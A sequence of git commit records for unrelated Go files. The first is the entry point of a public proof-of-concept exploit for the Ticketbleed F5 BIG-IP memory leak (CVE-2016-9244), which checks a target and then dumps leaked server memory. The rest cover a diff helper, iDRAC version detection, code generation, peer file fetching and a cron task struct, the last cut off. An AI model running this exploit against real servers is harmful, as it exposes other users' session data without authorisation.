<commit_before>/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege Balcı]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]

This is the proof of consept file for CVE-2016-9244,
don't forget to set up GOPATH before building...

BUILD:
	export GOPATH="The path of this repo here"
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package main

import "Ticketbleed"
import "strconv"
import "strings"
import "color"
import "os"

var Red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = Red.Add(color.Bold)
var	Blue *color.Color = color.New(color.FgBlue)
var	BoldBlue *color.Color = Blue.Add(color.Bold)
var	Yellow *color.Color = color.New(color.FgYellow)
var	BoldYellow *color.Color = Yellow.Add(color.Bold)
var	Green *color.Color = color.New(color.FgGreen)
var	BoldGreen *color.Color = Green.Add(color.Bold)

var OutputFile string = ""
var BleedSize int = 0

func main() {

	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		BoldRed.Println(Banner)
		Green.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			BoldRed.Println(Banner)
			Green.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			BoldRed.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			BoldRed.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			BoldRed.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		BoldYellow.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	if strings.Contains(VulnStatus, "[+]") {
 		BoldGreen.Println(VulnStatus)
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}else{
 		BoldYellow.Println(VulnStatus)
 	}

}

var Banner string = `
▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄
▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓
  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒
    ░     ▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░   ░    ▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒
  ░       ▒ ░░        ░ ░░ ░    ░    ░       ░    ░   ░ ░      ░      ░    ░ ░  ░
          ░  ░ ░      ░  ░      ░  ░         ░          ░  ░   ░  ░   ░  ░   ░
             ░                                    ░                        ░
`
var Help string = `
Author: Ege Balci
Github: github.com/EgeBalci/Ticketbleed

USAGE:
	./ticketbleed <ip:port> <options>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read (Output value may vary)
	-h, --help 	Print this message
`<commit_msg>Readme update<commit_after>/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege Balcı]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]

This is the proof of consept file for CVE-2016-9244,
don't forget to set up GOPATH before building...

BUILD:
	export GOPATH="The path of this repo here"
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package main

import "Ticketbleed"
import "strconv"
import "strings"
import "color"
import "os"

var Red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = Red.Add(color.Bold)
var	Blue *color.Color = color.New(color.FgBlue)
var	BoldBlue *color.Color = Blue.Add(color.Bold)
var	Yellow *color.Color = color.New(color.FgYellow)
var	BoldYellow *color.Color = Yellow.Add(color.Bold)
var	Green *color.Color = color.New(color.FgGreen)
var	BoldGreen *color.Color = Green.Add(color.Bold)

var OutputFile string = ""
var BleedSize int = 0

func main() {

	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		BoldRed.Println(Banner)
		Green.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			BoldRed.Println(Banner)
			Green.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			BoldRed.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			BoldRed.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			BoldRed.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		BoldYellow.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	if strings.Contains(VulnStatus, "[+]") {
 		BoldGreen.Println(VulnStatus)
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}else{
 		BoldYellow.Println(VulnStatus)
 	}

}

var Banner string = `
▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄
▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓
  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒
    ░     ▒ ░  ░  ▒   ░ ░▒ ▒░ ░ ░  ░   ░    ▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░ ░ ░  ░ ░ ▒  ▒
  ░       ▒ ░░        ░ ░░ ░    ░    ░       ░    ░   ░ ░      ░      ░    ░ ░  ░
          ░  ░ ░      ░  ░      ░  ░         ░          ░  ░   ░  ░   ░  ░   ░
             ░                                    ░                        ░
`
var Help string = `
Author: Ege Balcı
Github: github.com/EgeBalci/Ticketbleed

USAGE:
	./ticketbleed <ip:port> <options>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read (Output value may vary)
	-h, --help 	Print this message
`<|endoftext|>


<commit_before>package pretty

import (
	"fmt"
	"io"
	"os"
	"reflect"
)

type sbuf []string

func (s *sbuf) Write(b []byte) (int, os.Error) {
	*s = append(*s, string(b))
	return len(b), nil
}

// Diff returns a slice where each element describes
// a difference between a and b.
func Diff(a, b interface{}) (desc []string) {
	Fdiff((*sbuf)(&desc), a, b)
	return desc
}

// Fdiff writes to w a description of the differences between a and b.
func Fdiff(w io.Writer, a, b interface{}) {
	diffWriter{w: w}.diff(reflect.ValueOf(a), reflect.ValueOf(b))
}

type diffWriter struct {
	w io.Writer
	l string // label
}

func (w diffWriter) printf(f string, a ...interface{}) {
	var l string
	if w.l != "" {
		l = w.l + ": "
	}
	fmt.Fprintf(w.w, l+f, a...)
}

func (w diffWriter) diff(av, bv reflect.Value) {
	if !av.IsValid() && bv.IsValid() {
		w.printf("nil != %#v", bv.Interface())
		return
	}
	if av.IsValid() && !bv.IsValid() {
		w.printf("%#v != nil", av.Interface())
		return
	}
	if !av.IsValid() && !bv.IsValid() {
		return
	}

	at := av.Type()
	bt := bv.Type()
	if at != bt {
		w.printf("%v != %v", at, bt)
		return
	}

	// numeric types, including bool
	if at.Kind() < reflect.Array {
		a, b := av.Interface(), bv.Interface()
		if a != b {
			w.printf("%#v != %#v", a, b)
		}
		return
	}

	switch at.Kind() {
	case reflect.String:
		a, b := av.Interface(), bv.Interface()
		if a != b {
			w.printf("%q != %q", a, b)
		}
	case reflect.Ptr:
		switch {
		case av.IsNil() && !bv.IsNil():
			w.printf("nil != %v", bv.Interface())
		case !av.IsNil() && bv.IsNil():
			w.printf("%v != nil", av.Interface())
		case !av.IsNil() && !bv.IsNil():
			w.diff(av.Elem(), bv.Elem())
		}
	case reflect.Struct:
		for i := 0; i < av.NumField(); i++ {
			w.relabel(at.Field(i).Name).diff(av.Field(i), bv.Field(i))
		}
	case reflect.Interface:
		w.diff(reflect.ValueOf(av.Interface()), reflect.ValueOf(bv.Interface()))
	default:
		if !reflect.DeepEqual(av.Interface(), bv.Interface()) {
			w.printf("%#v != %#v", av.Interface(), bv.Interface())
		}
	}
}

func (d diffWriter) relabel(name string) (d1 diffWriter) {
	d1 = d
	if d.l != "" {
		d1.l = d.l + "." + name
	} else {
		d1.l = name
	}
	return d1
}

func fieldLabel(label string, f reflect.StructField) string {
	if label == "" {
		return f.Name
	}
	return label + "." + f.Name
}
<commit_msg>remove dead code<commit_after>package pretty

import (
	"fmt"
	"io"
	"os"
	"reflect"
)

type sbuf []string

func (s *sbuf) Write(b []byte) (int, os.Error) {
	*s = append(*s, string(b))
	return len(b), nil
}

// Diff returns a slice where each element describes
// a difference between a and b.
func Diff(a, b interface{}) (desc []string) {
	Fdiff((*sbuf)(&desc), a, b)
	return desc
}

// Fdiff writes to w a description of the differences between a and b.
func Fdiff(w io.Writer, a, b interface{}) {
	diffWriter{w: w}.diff(reflect.ValueOf(a), reflect.ValueOf(b))
}

type diffWriter struct {
	w io.Writer
	l string // label
}

func (w diffWriter) printf(f string, a ...interface{}) {
	var l string
	if w.l != "" {
		l = w.l + ": "
	}
	fmt.Fprintf(w.w, l+f, a...)
}

func (w diffWriter) diff(av, bv reflect.Value) {
	if !av.IsValid() && bv.IsValid() {
		w.printf("nil != %#v", bv.Interface())
		return
	}
	if av.IsValid() && !bv.IsValid() {
		w.printf("%#v != nil", av.Interface())
		return
	}
	if !av.IsValid() && !bv.IsValid() {
		return
	}

	at := av.Type()
	bt := bv.Type()
	if at != bt {
		w.printf("%v != %v", at, bt)
		return
	}

	// numeric types, including bool
	if at.Kind() < reflect.Array {
		a, b := av.Interface(), bv.Interface()
		if a != b {
			w.printf("%#v != %#v", a, b)
		}
		return
	}

	switch at.Kind() {
	case reflect.String:
		a, b := av.Interface(), bv.Interface()
		if a != b {
			w.printf("%q != %q", a, b)
		}
	case reflect.Ptr:
		switch {
		case av.IsNil() && !bv.IsNil():
			w.printf("nil != %v", bv.Interface())
		case !av.IsNil() && bv.IsNil():
			w.printf("%v != nil", av.Interface())
		case !av.IsNil() && !bv.IsNil():
			w.diff(av.Elem(), bv.Elem())
		}
	case reflect.Struct:
		for i := 0; i < av.NumField(); i++ {
			w.relabel(at.Field(i).Name).diff(av.Field(i), bv.Field(i))
		}
	case reflect.Interface:
		w.diff(reflect.ValueOf(av.Interface()), reflect.ValueOf(bv.Interface()))
	default:
		if !reflect.DeepEqual(av.Interface(), bv.Interface()) {
			w.printf("%#v != %#v", av.Interface(), bv.Interface())
		}
	}
}

func (d diffWriter) relabel(name string) (d1 diffWriter) {
	d1 = d
	if d.l != "" {
		d1.l = d.l + "." + name
	} else {
		d1.l = name
	}
	return d1
}
<|endoftext|>


<commit_before>package main

import (
	"bytes"
	"crypto/tls"
	"errors"
	"fmt"
	"log"
	"net"
	"net/http"
	"text/template"
	"time"
)

// DRAC contains all of the information required
// to connect to a Dell DRAC KVM
type DRAC struct {
	Host     string
	Username string
	Password string
	Version  int
}

// Templates is a map of each viewer.jnlp template for
// the various Dell iDRAC versions, keyed by version number
var Templates = map[int]string{
	6: viewer6,
	7: viewer7,
}

// GetVersion attempts to detect the iDRAC version by checking
// if various known libraries are available via HTTP GET requests.
// Retursn the version if found, or -1 if unknown
func (d *DRAC) GetVersion() int {

	log.Print("Detecting iDRAC version...")

	version := -1

	transport := &http.Transport{
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
		Dial: func(netw, addr string) (net.Conn, error) {
			deadline := time.Now().Add(5 * time.Second)
			c, err := net.DialTimeout(netw, addr, time.Second*5)
			if err != nil {
				return nil, err
			}
			c.SetDeadline(deadline)
			return c, nil
		},
	}

	client := &http.Client{
		Transport: transport,
	}

	// Check for iDRAC7 specific libs
	if response, err := client.Get("https://" + d.Host + "/software/avctKVMIOMac64.jar"); err == nil {
		defer response.Body.Close()
		if response.StatusCode == 200 {
			return 7
		}
	}

	// Check for iDRAC6 specific libs
	if response, err := client.Get("https://" + d.Host + "/software/jpcsc.jar"); err == nil {
		defer response.Body.Close()
		if response.StatusCode == 200 {
			return 6
		}
	}

	return version

}

// Viewer returns a viewer.jnlp template filled out with the
// necessary details to connect to a particular DRAC host
func (d *DRAC) Viewer() (string, error) {

	var version int

	// Check we have a valid DRAC viewer template for this DRAC version
	if d.Version < 0 {
		version = d.GetVersion()
	} else {
		version = d.Version
	}
	if version < 0 {
		return "", errors.New("unable to detect DRAC version")
	}

	log.Printf("Found iDRAC version %d", version)

	if _, ok := Templates[version]; !ok {
		msg := fmt.Sprintf("no support for DRAC v%d", version)
		return "", errors.New(msg)
	}

	// Generate a JNLP viewer from the template
	// Injecting the host/user/pass information
	buff := bytes.NewBufferString("")
	err := template.Must(template.New("viewer").Parse(Templates[version])).Execute(buff, d)
	return buff.String(), err

}
<commit_msg>Changes to HEAD in jar version check<commit_after>package main

import (
	"bytes"
	"crypto/tls"
	"errors"
	"fmt"
	"log"
	"net"
	"net/http"
	"text/template"
	"time"
)

// DRAC contains all of the information required
// to connect to a Dell DRAC KVM
type DRAC struct {
	Host     string
	Username string
	Password string
	Version  int
}

// Templates is a map of each viewer.jnlp template for
// the various Dell iDRAC versions, keyed by version number
var Templates = map[int]string{
	6: viewer6,
	7: viewer7,
}

// GetVersion attempts to detect the iDRAC version by checking
// if various known libraries are available via HTTP GET requests.
// Retursn the version if found, or -1 if unknown
func (d *DRAC) GetVersion() int {

	log.Print("Detecting iDRAC version...")

	version := -1

	transport := &http.Transport{
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
		Dial: func(netw, addr string) (net.Conn, error) {
			deadline := time.Now().Add(5 * time.Second)
			c, err := net.DialTimeout(netw, addr, time.Second*5)
			if err != nil {
				return nil, err
			}
			c.SetDeadline(deadline)
			return c, nil
		},
	}

	client := &http.Client{
		Transport: transport,
	}

	// Check for iDRAC7 specific libs
	if response, err := client.Head("https://" + d.Host + "/software/avctKVMIOMac64.jar"); err == nil {
		defer response.Body.Close()
		if response.StatusCode == 200 {
			return 7
		}
	}

	// Check for iDRAC6 specific libs
	if response, err := client.Head("https://" + d.Host + "/software/jpcsc.jar"); err == nil {
		defer response.Body.Close()
		if response.StatusCode == 200 {
			return 6
		}
	}

	return version

}

// Viewer returns a viewer.jnlp template filled out with the
// necessary details to connect to a particular DRAC host
func (d *DRAC) Viewer() (string, error) {

	var version int

	// Check we have a valid DRAC viewer template for this DRAC version
	if d.Version < 0 {
		version = d.GetVersion()
	} else {
		version = d.Version
	}
	if version < 0 {
		return "", errors.New("unable to detect DRAC version")
	}

	log.Printf("Found iDRAC version %d", version)

	if _, ok := Templates[version]; !ok {
		msg := fmt.Sprintf("no support for DRAC v%d", version)
		return "", errors.New(msg)
	}

	// Generate a JNLP viewer from the template
	// Injecting the host/user/pass information
	buff := bytes.NewBufferString("")
	err := template.Must(template.New("viewer").Parse(Templates[version])).Execute(buff, d)
	return buff.String(), err

}
<|endoftext|>


<commit_before>package derive

import (
	"bytes"
	"flag"
	"fmt"
	"go/ast"
	"go/parser"
	"go/token"
	"html/template"
	"io"
	"io/ioutil"
	"log"
	"os"
	"strings"

	"golang.org/x/tools/imports"
)

type Targets struct {
	Pkg     string
	FileSet *token.FileSet
	Files   []string
	Names   []string
	Nodes   []ast.Node
}

func Load() *Targets {
	log.SetFlags(0)
	var pkgFlag = flag.String("pkg", "", "the package to generate code for")
	var filesFlag = flag.String("files", "", "a comma-separated list of filenames")
	var namesFlag = flag.String("names", "", "a comma-separated list of identifiers")
	flag.Parse()

	targets := &Targets{Pkg: *pkgFlag}
	targets.Names = strings.Split(*namesFlag, ",")
	targets.Files = strings.Split(*filesFlag, ",")
	targets.FileSet = token.NewFileSet()

	files := []*ast.File{}
	for _, filename := range targets.Files {
		parsed, err := parser.ParseFile(targets.FileSet, filename, nil, parser.ParseComments)
		if err != nil {
			log.Fatalf("can't parse file: %s: %s", filename, err)
		}
		files = append(files, parsed)
	}

	for _, file := range files {
		ast.Walk(targets, file)
	}

	return targets
}

func (t *Targets) Includes(name string) bool {
	for _, n := range t.Names {
		if n == name {
			return true
		}
	}
	return false
}

// Implements ast.Visit interface
func (t *Targets) Visit(node ast.Node) ast.Visitor {
	switch n := node.(type) {
	case *ast.TypeSpec:
		if t.Includes(n.Name.Name) {
			t.Nodes = append(t.Nodes, node)
			return nil
		}
	}
	return t
}

func (t *Targets) WriteEach(file string, transform func(io.Writer, ast.Node)) {
	// for node := range derive.Nodes() {
	var buf bytes.Buffer
	fmt.Fprintf(&buf, "package %s\n\n", t.Pkg)
	for i, node := range t.Nodes {
		if i > 0 {
			buf.WriteRune('\n')
		}

		transform(&buf, node)
		buf.WriteRune('\n')
	}

	os.Remove(file)
	out, err := imports.Process(file, buf.Bytes(), nil)
	if err != nil {
		log.Fatalf("can't format generated code: %s\n", err)
	}
	ioutil.WriteFile(file, out, 0600)
}

func Assert(ok bool, format string, args ...interface{}) {
	if !ok {
		log.Fatalf(format, args...)
	}
}

func Template(out io.Writer, data interface{}, format string) {
	t := template.New("scanMethod")
	if _, err := t.Parse(strings.TrimSpace(format)); err != nil {
		log.Fatalf("can't parse code template: %s", err)
	}
	t.Execute(out, data)
}
<commit_msg>Rename t.Includes to t.Include<commit_after>package derive

import (
	"bytes"
	"flag"
	"fmt"
	"go/ast"
	"go/parser"
	"go/token"
	"html/template"
	"io"
	"io/ioutil"
	"log"
	"os"
	"strings"

	"golang.org/x/tools/imports"
)

type Targets struct {
	Pkg     string
	FileSet *token.FileSet
	Files   []string
	Names   []string
	Nodes   []ast.Node
}

func Load() *Targets {
	log.SetFlags(0)
	var pkgFlag = flag.String("pkg", "", "the package to generate code for")
	var filesFlag = flag.String("files", "", "a comma-separated list of filenames")
	var namesFlag = flag.String("names", "", "a comma-separated list of identifiers")
	flag.Parse()

	targets := &Targets{Pkg: *pkgFlag}
	targets.Names = strings.Split(*namesFlag, ",")
	targets.Files = strings.Split(*filesFlag, ",")
	targets.FileSet = token.NewFileSet()

	files := []*ast.File{}
	for _, filename := range targets.Files {
		parsed, err := parser.ParseFile(targets.FileSet, filename, nil, parser.ParseComments)
		if err != nil {
			log.Fatalf("can't parse file: %s: %s", filename, err)
		}
		files = append(files, parsed)
	}

	for _, file := range files {
		ast.Walk(targets, file)
	}

	return targets
}

func (t *Targets) Include(name string) bool {
	for _, n := range t.Names {
		if n == name {
			return true
		}
	}
	return false
}

// Implements ast.Visit interface
func (t *Targets) Visit(node ast.Node) ast.Visitor {
	switch n := node.(type) {
	case *ast.TypeSpec:
		if t.Include(n.Name.Name) {
			t.Nodes = append(t.Nodes, node)
			return nil
		}
	}
	return t
}

func (t *Targets) WriteEach(file string, transform func(io.Writer, ast.Node)) {
	// for node := range derive.Nodes() {
	var buf bytes.Buffer
	fmt.Fprintf(&buf, "package %s\n\n", t.Pkg)
	for i, node := range t.Nodes {
		if i > 0 {
			buf.WriteRune('\n')
		}

		transform(&buf, node)
		buf.WriteRune('\n')
	}

	os.Remove(file)
	out, err := imports.Process(file, buf.Bytes(), nil)
	if err != nil {
		log.Fatalf("can't format generated code: %s\n", err)
	}
	ioutil.WriteFile(file, out, 0600)
}

func Assert(ok bool, format string, args ...interface{}) {
	if !ok {
		log.Fatalf(format, args...)
	}
}

func Template(out io.Writer, data interface{}, format string) {
	t := template.New("scanMethod")
	if _, err := t.Parse(strings.TrimSpace(format)); err != nil {
		log.Fatalf("can't parse code template: %s", err)
	}
	t.Execute(out, data)
}
<|endoftext|>


<commit_before>/*
The MIT License (MIT)

Copyright (c) 2015 John Ko

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

package main

import (
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
    "regexp"
	"strings"
	"time"
)

func getFromPeers(hash string) (found bool, filename string, reader io.ReadSeeker, contentLength uint64, modTime time.Time, err error) {
    var file *os.File
    var resp *http.Response
    fnre := regexp.MustCompile("filename=\".*\"")
    found = false
    for i := range config.PEERS {
        if (config.PEERS[i] != config.ME) && (found == false) {
            var url = config.PEERS[i] + hash
            log.Printf("trying to get from peer %s", url)
            file, err = ioutil.TempFile(config.Temp, "peer-")
            if err != nil {
                log.Printf("%s", err.Error())
                return
            }
            defer file.Close()
            resp, err = http.Get(url)
            if err == nil {
                if resp.StatusCode == 200 {
                    if fnre.MatchString(resp.Header.Get("Content-Disposition")) {
                        filename = strings.Replace(
                            strings.Replace(
                                fnre.FindString(
                                    resp.Header.Get("Content-Disposition")),
                                "filename=",
                                "",
                                -1),
                            "\"",
                            "",
                            -1)
                    }
                    defer resp.Body.Close()
                    _, err = io.Copy(file, resp.Body)
                    if err != nil {
                        os.Remove(file.Name())
                        log.Printf("%s", err.Error())
                        return
                    }
                    var hash string
                    if hash, err = storage.HardLinkSha512Path(file.Name(), filename); err != nil {
                        log.Printf("%s", err.Error())
                    } else if err == nil {
                        filename, reader, _, modTime, err = storage.Seeker(hash)
                        if err == nil {
                            found = true
                            return
                        }
                    }
                }
            }
        }
    }
    return
}
<commit_msg>compare hash we pass to getFromPeers and new hash we get from fetched data<commit_after>/*
The MIT License (MIT)

Copyright (c) 2015 John Ko

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/

package main

import (
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
    "regexp"
	"strings"
	"time"
)

func getFromPeers(oldhash string) (found bool, filename string, reader io.ReadSeeker, contentLength uint64, modTime time.Time, err error) {
    var file *os.File
    var resp *http.Response
    fnre := regexp.MustCompile("filename=\".*\"")
    found = false
    for i := range config.PEERS {
        if (config.PEERS[i] != config.ME) && (found == false) {
            var url = config.PEERS[i] + oldhash
            log.Printf("trying to get from peer %s", url)
            file, err = ioutil.TempFile(config.Temp, "peer-")
            if err != nil {
                log.Printf("%s", err.Error())
                return
            }
            defer file.Close()
            resp, err = http.Get(url)
            if err == nil {
                if resp.StatusCode == 200 {
                    if fnre.MatchString(resp.Header.Get("Content-Disposition")) {
                        filename = strings.Replace(
                            strings.Replace(
                                fnre.FindString(
                                    resp.Header.Get("Content-Disposition")),
                                "filename=",
                                "",
                                -1),
                            "\"",
                            "",
                            -1)
                    }
                    defer resp.Body.Close()
                    _, err = io.Copy(file, resp.Body)
                    if err != nil {
                        os.Remove(file.Name())
                        log.Printf("%s", err.Error())
                        return
                    }
                    var hash string
                    if hash, err = storage.HardLinkSha512Path(file.Name(), filename); err != nil {
                        log.Printf("%s", err.Error())
                    } else if err == nil {
						if oldhash == hash {
	                        filename, reader, _, modTime, err = storage.Seeker(hash)
	                        if err == nil {
	                            found = true
	                            return
	                        }
						}
                    }
                }
            }
        }
    }
    return
}
<|endoftext|>


<commit_before>package detector

import (
	"bytes"
	"runtime/debug"
	"sync"
	"sync/atomic"
	"time"

	"qiniupkg.com/x/log.v7"

	"gopkg.in/mgo.v2/bson"
	"gopkg.in/robfig/cron.v2"
)

// TaskArgs is a task query struct
type TaskArgs struct {
	ID       string        `json:"id,omitempty"`
	Name     string        `json:"name,omitempty"`
	URL      string        `json:"url,omitempty"`
	Protocol string        `json:"protocol,omitempty"`
	Interval time.Duration `json:"interval,omitempty"`
	Creator  string        `json:"creator,omitempty"`
}

// Task Cron
type Task struct {
	// Task options
	ID          bson.ObjectId `bson:"_id,omitempty"         json:"id"`
	Name        string        `bson:"name,omitempty"        json:"name"`
	Description string        `bson:"description,omitempty" json:"description"`
	Creator     string        `bson:"creator,omitempty"     json:"creator"`
	CreatedAt   time.Time     `bson:"created_at"            json:"created_at"`
	UpdatedAt   time.Time     `bson:"updated_at"            json:"updated_at"`
	Interval    time.Duration `bson:"interval,omitempty"    json:"interval"`
	Enabled     bool          `bson:"enabled,omitempty"     json:"enabled"`
	Status      string        `bson:"status,omitempty"      json:"status"`

	// HTTP Request args
	URL         string                 `bson:"url,omitempty"          json:"url"`
	Protocol    string                 `bson:"protocol,omitempty"     json:"protocol"`
	Method      string                 `bson:"method,omitempty"       json:"method"`
	ContentType string                 `bson:"content_type,omitempty" json:"content_type"`
	UserAgent   string                 `bson:"user_agent,omitempty"   json:"user_agent"`
	Username    string                 `bson:"username,omitempty"     json:"username"`
	Password    string                 `bson:"password,omitempty"     json:"password"`
	BodyJSON    map[string]interface{} `bson:"body_json,omitempty"    json:"body_json"`
	BodyForm    map[string]string      `bson:"body_form,omitempty"    json:"body_form"`
	BodyRaw     string                 `bson:"body_raw,omitempty"     json:"body_raw"`

	// HTTP Response results
	LastStatusCode int           `bson:"last_status,omitempty"  json:"last_status"`
	TimeLatency    time.Duration `bson:"time_latency,omitempty" json:"time_latency"`

	// Job Info
	Job Job `json:"job"`
}

// Job cron exec
type Job struct {
	ID      cron.EntryID `json:"id"`
	status  uint32
	Status  string        `json:"status"`
	Latency time.Duration `json:"latency"`
	running sync.Mutex

